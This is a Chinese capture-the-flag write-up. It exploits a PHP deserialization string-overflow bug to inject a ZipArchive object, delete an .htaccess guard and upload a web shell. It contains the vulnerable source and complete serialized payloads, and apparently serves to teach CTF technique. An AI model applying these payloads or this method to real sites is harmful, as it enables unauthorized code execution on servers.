http://www.bmzclub.cn/challenges#file-vault
这是一道很好反序列化字符串溢出的题目,首先打开容器看到这是一个上传点
先进行目录扫描,发现存在vim的备份文件index.php~
查看index.php~
得到源码如下
<?php
error_reporting(0);
include('secret.php');
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}
if(!isset($_GET['action'])) {
$_GET['action'] = 'home';
}
if(!isset($_COOKIE['files'])) {
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
}
switch($_GET['action']){
case 'home':
default:
$content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}
代码稍微比较多一点,我们一段一段来分析一下,先看第一段
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
$sanbox_dir
即将访问者的IP经过SHA1加密拼接在sanbox后构成单独的路径,例如:sanbox/4b84b15bff6ee5796152495a230e45e3d7e947d9
。
myserialize()
,将传入的$a
序列化,然后进行一个字符串的替换(这里是形成反序列化字符串溢出的关键点
)得到$b
,最后返回SHA256
有未知密钥($secret
)加密后的$b
作为签名,拼接上$b
的结果。
myunserialize()
,首先截取$a
的后64位
部分与SHA256
加密后的截掉末尾64位
的$a
,这里就是做一个签名验证,验证序列化字符串加密后是否还是myserialize()
返回的正确签名,防止攻击者私自修改序列化字符串。最终返回反序列化后得对象。
接着看这段代码
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}
if(!isset($_GET['action'])) {
$_GET['action'] = 'home';
}
if(!isset($_COOKIE['files'])) {
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
}
当$sanbox_dir
路径不存在时,创建$sanbox_dir
。检测在$sanbox_dir
下是否存在.htaccess
文件,不存在的话在$sandbox_dir
下创建.htaccess
,并写入php_flag engine off
。该配置作用是禁用当前目录下的PHP解析功能。
action
默认操作为home
,检查是否设置Cookie['files']
,未设置的话设置Cookie: files
,值为myserialize($a, $secret)
的返回值,$a
的类型为数组。$secert
一直都是未知的。
接着分析
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
UploadFile
类中存在upload()
和open()
两个方法,先看UploadFile::upload()
,将上传的文件写入$sandbox_dir
下,存储名称为文件内容的SHA1
加密后的字符,如无后缀即默认.txt
后缀。没有文件类型限制。$this->fakename
即上传文件的名称,$this->realname
是文件在服务器上存储的名称。
UploadFile::open()
即返回指定的fakename
以及realname
的存储路径。
接着分析action
传入不同值的操作
switch($_GET['action']){
case 'home':
default:
$content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}
?action=home
:
默认执行,提供?action=upload
上传操作,反序列化Cookie中的files
值,将数组的每一个UploadFile::fakename
取出来回显。提供?action=changename
以及?action=open
操作。上传一个展示一个。?action=upload
:
POST上传文件,实例化UploadFile
类,$uploadfile
对象调用UploadFile::upload()
方法,获取上传的文件名称以及内容传入upload()
方法。反序列化验证当前Cookie中的序列化字符串,并增加根据新上传文件创建新的对象增加到数组中,并序列化存储Cookie中。?action=changename
:
反序列化Cookie的值获取整个数组的对象,传入参数i
来指向数组中的具体某个对象,然后传入newname
重新赋值原来的UploadFile::fakename
。然后重新序列化存入Cookie。?action=open
:
反序列化Cookie的值获取整个数组的对象,传入参数i
来指向数组中的具体某个对象,然后传入UploadFile::fakename
和UploadFile::realname
并执行UploadFile::open()
操作。?action=reset
:
清空Cookie中数组的每个对象,并删除$sandbox_dir
下的所有文件。
分析完所有的代码,虽然上传文件无限制,但是有.htaccess
的限制,就算上传了shell也是没有用的。漏洞利用的关键点在
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
这里对序列化之后
的字符串进行了str_replace()
替换字符操作,将序列化之后的字符串中的../
替换为了./
,也就是说一个../
被替换后会向后被吃掉的一个字符。反序列化字符串溢出的原理这里就不详细介绍了,可自行查阅资料。
很明显我们对上传文件的能控制得只有上传文件的文件名,也就是fakename
,并且肯定不能直接修改Cookie
的序列化字符串,有签名验证的。但是通过?action=changename
就可以合法的控制fakename
的值进行反序列化字符串溢出。
随便上传两个文件我们看下Cookie中存储的对象
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {
[0] =>
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(8) "pic1.jpg"
public $realname =>
string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"
}
[1] =>
class __PHP_Incomplete_Class#2 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(8) "pic2.png"
public $realname =>
string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"
}
}
构造反序列化溢出,我们可以上传两个文件之后,通过重命名第一个文件的fakename
,可以吃掉第二个文件原来的对象。引入一个新的对象,不过前提是我们需要先精妙的在第二个对象的fakename
处,构造出一个完整的对象实现漏洞利用并且要承上启下,精妙的构造好前后的序列化字符串。
整个源码就一个类,两个对象,分别是UploadFile::upload()
、UploadFile::open()
,而其中open()
方法挺常见的,如果能找到一个含有open()
方法的标准类(PHP内置已经定义好的类
),那么我们就可以利用这个类去利用其中同名方法open()
的功能。
遍历下所有已定义好的类,看看哪些类中有open()
方法
<?php
echo 'current PHP Version: '.phpversion()."\n";
foreach (get_declared_classes() as $class) {
foreach (get_class_methods($class) as $method) {
if ($method == "open")
echo "$class->$method\n";
}
}
?>
PS C:\Users\Administrator\Downloads> php -f .\class.php
current PHP Version: 7.4.3
SessionHandler->open
ZipArchive->open
XMLReader->open
其中ZipArchive->open($fakename, $realname)
方法正好是两个参数
$filename
对应$fakename
,把.htaccess
的路径赋给$filename
,而$flag
如果设置成ZipArchive::OVERWRITE
,就可以将改文件覆盖,即删除。
<?php
$zip = new ZipArchive;
$rt=$zip->open('./.htaccess',ZipArchive::OVERWRITE);
echo $rt;
$zip->close();
?>
删除了同目录下的.htaccess
这里ZipArchive::OVERWRITE
还可以用9
代替
接下来开始构造payload
任意上传两个文件后在cookie中取出反序列化字符串
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {
[0] =>
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(8) "pic1.jpg"
public $realname =>
string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"
}
[1] =>
class __PHP_Incomplete_Class#2 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(8) "pic2.png"
public $realname =>
string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"
}
}
任意查看一个上传的文件
得到$sandbox_dir
,然后我们构造一个ZipArchive
类
<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";
$zip->realname = "9";
echo serialize($zip);
?>
O:10:"ZipArchive":7:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}
首先构造第二个UploadFile
对象的fakename
,将fakename
之后的序列化字符串取出来,总共67
个字符
";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png
我们将ZipArchive
的序列化字符串其中的对象位置顺序调整一下,将ZipArchive::comment
的长度调整到67
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
这样就可以将第二个fakename
之后的序列化字符串安置在comment
中
然后需要将第一个UploadFile
的对象的realname
部分放在以上的payload前面
";s:8:"realname";s:6:"mochu7";}
值为什么无所谓,只是为了序列化的完整性,所以得到第二个fakename
的payload最终为:
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
注意: 因为是数组的第二个值,注意需要加上i:1;
接下来来分析下第一个fakename
的payload该怎么构造,这是需要溢出吃掉的部分
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"
但是注意,因为我们是先重命名在数组中i=1
的对象的fakename
,所以当我们重命名完之后数组中第二个对象的fakename
之后,第一个对象的fakename
长度要变为第一个payload的字符长度
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:"
以上才是需要溢出吃掉的字符串,长度为117
,所以我们需要117
个../
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
最终,第二个对象需要重命名的fakename
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一个对象需要重命名的fakename
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
这时候看Cookie的序列化值
array(2) {
[0] =>
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(351) "./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:""
public $realname =>
string(6) "mochu7"
}
[1] =>
class ZipArchive#2 (7) {
public $status =>
int(0)
public $statusSys =>
int(0)
public $numFiles =>
int(0)
public $filename =>
string(0) ""
public $comment =>
string(0) ""
public $fakename =>
string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"
public $realname =>
string(1) "9"
}
}
成功注入了ZipArchive
对象,然后调用ZipArchive
对象
/index.php?action=open&i=1
这样就可以删除sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess
了,回到index.php
上传shell.php
上传shell.php
之后再执行一遍上面的删除操作(因为访问index.php
会再次生成.htaccess
文件,我们需要上传shell后再删除),然后访问shell
已经可以解析php文件了